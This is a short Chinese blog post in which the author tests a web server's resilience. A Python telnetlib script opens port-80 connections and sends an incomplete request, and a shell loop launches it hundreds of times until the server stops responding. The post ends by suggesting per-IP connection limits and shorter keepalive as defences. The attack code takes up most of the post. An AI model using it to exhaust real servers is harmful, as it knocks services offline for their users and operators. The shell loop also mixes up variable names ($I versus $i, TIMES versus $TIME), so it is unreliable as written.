Chinaunix首页 | 论坛 | 博客
  • 博客访问: 65497
  • 博文数量: 14
  • 博客积分: 1599
  • 博客等级: 上尉
  • 技术积分: 160
  • 用 户 组: 普通用户
  • 注册时间: 2006-06-13 09:39
文章分类
文章存档

2011年(6)

2010年(4)

2008年(4)

分类: 系统运维

2008-06-14 20:50:15

 

看到了google上的一篇关于web安全的讲义http://code.google.com/edu/submissions/web_security/listing.html
觉得值得试试,刚好在学习Python,看到了telnetlib觉得挺有意思,用作网络交互确实比shell script下用expect方便很多,于是写用python做了个小程序来对服务器的80端口做个DoS试下。

dos.py
#!/usr/bin/python
from telnetlib import Telnet
h=Telnet('',80)
h.write('get / HTTP/1.0 \r\n')
h.read_all()

执行一下,
没有响应,呵呵,连接已经建立,这说明服务已经建立。

写一个shell script
#!/bin/sh
TIMES=500
I=1
while [ $i -lt $TIME ];
do
    ./dos.py&
    echo "$I Connection Established"
    ((i=$i+1))
done

执行,500个建立,检查服务器,ok,再发送500个,依然ok,再发,再发,啊偶,翘了,首页打不开了:( 等到连接超时被释放,服务器才又可以被访问。

仅仅一台主机发送1930个连接就耗尽了服务器资源,看来风险不小啊。

怎么办呢。
限制同一个IP的连接数量是一个办法,同时把keepalive的时间调整的更短。还有什么办法?

阅读(2251) | 评论(0) | 转发(0) |
给主人留下些什么吧!~~